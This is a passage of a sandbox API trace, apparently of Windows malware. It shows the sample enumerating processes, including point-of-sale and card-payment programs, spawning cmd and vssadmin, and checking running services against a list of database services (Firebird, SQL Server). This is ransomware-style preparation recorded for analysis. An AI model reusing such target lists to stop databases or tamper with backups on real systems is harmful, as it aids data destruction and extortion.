lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0088.442] lstrlenW (lpString="accupos.exe") returned 11 [0088.442] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0088.443] lstrlenW (lpString="afr38.exe") returned 9 [0088.443] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0088.445] lstrlenW (lpString="aldelo.exe") returned 10 [0088.445] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0088.446] lstrlenW (lpString="ccv_server.exe") returned 14 [0088.446] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0088.447] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0088.448] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0088.449] lstrlenW (lpString="creditservice.exe") returned 17 [0088.449] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0088.450] lstrlenW (lpString="edcsvr.exe") returned 10 [0088.450] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0088.702] lstrlenW (lpString="fpos.exe") returned 8 [0088.702] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0088.704] lstrlenW (lpString="isspos.exe") returned 10 [0088.704] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0088.706] lstrlenW (lpString="mxslipstream.exe") returned 16 [0088.706] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0088.708] lstrlenW (lpString="omnipos.exe") returned 11 [0088.708] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0088.710] lstrlenW (lpString="spcwin.exe") returned 10 [0088.710] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0088.711] lstrlenW (lpString="spgagentservice.exe") returned 19 [0088.711] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0088.713] lstrlenW (lpString="utg2.exe") returned 8 [0088.713] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="faces gardening massage.exe")) returned 1 [0088.714] lstrlenW (lpString="faces gardening massage.exe") returned 27 [0088.714] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="forbidden exhibits fireplace.exe")) returned 1 [0088.716] lstrlenW (lpString="forbidden exhibits fireplace.exe") returned 32 [0088.716] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intendedreceivedchick.exe")) returned 1 [0088.718] lstrlenW (lpString="intendedreceivedchick.exe") returned 25 [0088.718] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieve.exe")) returned 1 [0088.719] lstrlenW (lpString="achieve.exe") returned 11 [0088.719] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="harvard.exe")) returned 1 [0088.721] lstrlenW (lpString="harvard.exe") returned 11 [0088.721] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0088.723] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0088.723] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0088.724] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0088.724] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0088.726] lstrlenW (lpString="taskhost.exe") returned 12 [0088.726] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mdskkv.exe")) returned 1 [0088.727] lstrlenW (lpString="mdskkv.exe") returned 10 [0088.727] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0088.728] lstrlenW (lpString="cmd.exe") returned 7 [0088.729] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0088.730] lstrlenW (lpString="conhost.exe") returned 11 [0088.730] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x600, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0088.732] lstrlenW (lpString="vssadmin.exe") returned 12 [0088.732] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0088.734] lstrlenW (lpString="VSSVC.exe") returned 9 [0088.734] Process32NextW (in: hSnapshot=0x1ec, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0088.735] CloseHandle (hObject=0x1ec) returned 1 [0088.735] Sleep (dwMilliseconds=0x1f4) [0089.445] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x624f40 [0089.447] EnumServicesStatusExW (in: hSCManager=0x624f40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0089.448] GetLastError () returned 0xea [0089.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x12b4) returned 0x3f84010 [0089.448] EnumServicesStatusExW (in: hSCManager=0x624f40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f84010, cbBufSize=0x12b4, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f84010, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0089.451] CloseServiceHandle (hSCObject=0x624f40) returned 1 [0089.451] lstrlenW (lpString="Appinfo") returned 7 [0089.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0089.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0089.451] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0089.451] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0089.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0089.452] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0089.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0089.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0089.452] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0089.452] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0089.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0089.452] lstrlenW (lpString="AudioSrv") returned 8 [0089.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0089.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0089.452] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0089.452] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0089.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0089.452] lstrlenW (lpString="BFE") returned 3 [0089.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0089.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0089.453] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0089.453] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0089.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0089.453] lstrlenW (lpString="CryptSvc") returned 8 [0089.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0089.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0089.453] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0089.453] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0089.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0089.453] lstrlenW (lpString="CscService") returned 10 [0089.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0089.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0089.453] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0089.453] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0089.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0089.453] lstrlenW (lpString="DcomLaunch") returned 10 [0089.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0089.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0089.454] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0089.454] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0089.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0089.454] lstrlenW (lpString="Dhcp") returned 4 [0089.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0089.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0089.454] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0089.454] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0089.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0089.454] lstrlenW (lpString="Dnscache") returned 8 [0089.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0089.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0089.454] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0089.454] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0089.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0089.454] lstrlenW (lpString="DPS") returned 3 [0089.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0089.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0089.455] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0089.455] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0089.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0089.455] lstrlenW (lpString="eventlog") returned 8 [0089.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0089.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0089.455] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0089.455] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0089.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0089.455] lstrlenW (lpString="EventSystem") returned 11 [0089.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0089.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0089.455] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0089.455] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0089.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0089.455] lstrlenW (lpString="FontCache") returned 9 [0089.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0089.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0089.456] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0089.456] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0089.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0089.456] lstrlenW (lpString="gpsvc") returned 5 [0089.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0089.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0089.456] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0089.456] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0089.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0089.456] lstrlenW (lpString="iphlpsvc") returned 8 [0089.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0089.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0089.456] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0089.456] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0089.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0089.456] lstrlenW (lpString="LanmanServer") returned 12 [0089.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0089.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0089.457] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0089.457] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0089.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0089.457] lstrlenW (lpString="LanmanWorkstation") returned 17 [0089.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0089.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0089.457] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0089.457] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0089.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0089.457] lstrlenW (lpString="lmhosts") returned 7 [0089.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0089.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0089.457] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0089.457] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0089.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0089.458] lstrlenW (lpString="MMCSS") returned 5 [0089.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0089.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0089.458] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0089.458] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0089.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0089.458] lstrlenW (lpString="MpsSvc") returned 6 [0089.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0089.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0089.458] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0089.458] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0089.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0089.458] lstrlenW (lpString="Netman") returned 6 [0089.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0089.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0089.458] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0089.458] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0089.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0089.458] lstrlenW (lpString="netprofm") returned 8 [0089.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0089.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0089.459] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0089.459] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0089.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0089.459] lstrlenW (lpString="NlaSvc") returned 6 [0089.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0089.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0089.459] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0089.459] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0089.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0089.459] lstrlenW (lpString="nsi") returned 3 [0089.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0089.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0089.459] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0089.459] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0089.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0089.459] lstrlenW (lpString="PcaSvc") returned 6 [0089.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0089.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0089.460] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0089.460] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0089.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0089.460] lstrlenW (lpString="PlugPlay") returned 8 [0089.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0089.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0089.460] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0089.460] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0089.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0089.460] lstrlenW (lpString="Power") returned 5 [0089.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0089.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0089.460] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0089.460] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0089.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0089.461] lstrlenW (lpString="ProfSvc") returned 7 [0089.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0089.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0089.461] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0089.461] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0089.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0089.461] lstrlenW (lpString="RpcEptMapper") returned 12 [0089.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0089.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0089.461] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0089.461] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0089.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0089.461] lstrlenW (lpString="RpcSs") returned 5 [0089.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0089.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0089.462] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0089.462] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0089.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0089.462] lstrlenW (lpString="SamSs") returned 5 [0089.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0089.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0089.462] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0089.462] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0089.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0089.462] lstrlenW (lpString="Schedule") returned 8 [0089.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0089.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0089.462] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0089.462] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0089.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0089.462] lstrlenW 